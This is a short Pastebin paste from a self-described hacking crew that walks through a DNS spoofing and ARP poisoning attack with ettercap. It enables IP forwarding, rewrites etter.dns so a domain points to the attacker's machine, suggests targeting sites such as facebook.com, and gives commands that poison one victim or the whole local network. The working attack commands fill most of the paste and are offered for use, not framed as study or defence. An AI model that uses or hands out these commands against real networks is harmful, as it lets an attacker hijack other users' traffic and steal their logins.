Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- | \/ |_ __ | _ \ ___ ___| |
- | |\/| | '__| | | | |/ _ \ / _ \ |
- | | | | | | |_| | (_) | __/ |
- |_| |_|_| |____/ \___/ \___|_|
- echo 1 > /proc/sys/net/ipv4/ip_forward
- Check it :
- cat /proc/sys/net/ipv4/ip_forward
- My IP >> 192.168.0.101
- Target IP >> 192.168.0.100
- We can use NMAP or other tool to scan IP
- Now, edit etter.dns at /etc/ettercap/etter.dns
- kaplik.com A 192.168.0.101
- *.kaplik.com A 192.168.0.101
- www.kaplik.com PTR 192.168.0.101
- it means that kaplik.com will redirect to my localhost 192.168.0.101
- you can change it like facebook.com twitter.com etc
- Now we start to spoof . . .
- Using ettercap plugin "dns_spoof"
- ettercap -T -q -i <interface> -P <plugin> -M arp // //
- Ex :
- Spoof all IP :
- $ ettercap -T -q -i wlan0 -P dns_spoof -M arp // //
- Spoof specified IP and then all IP :
- $ ettercap -T -q -i wlan0 -P dns_spoof -M arp /192.168.0.100/ //
- -----Malang Cyber Crew----
- -----http://mc-crew.org---
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement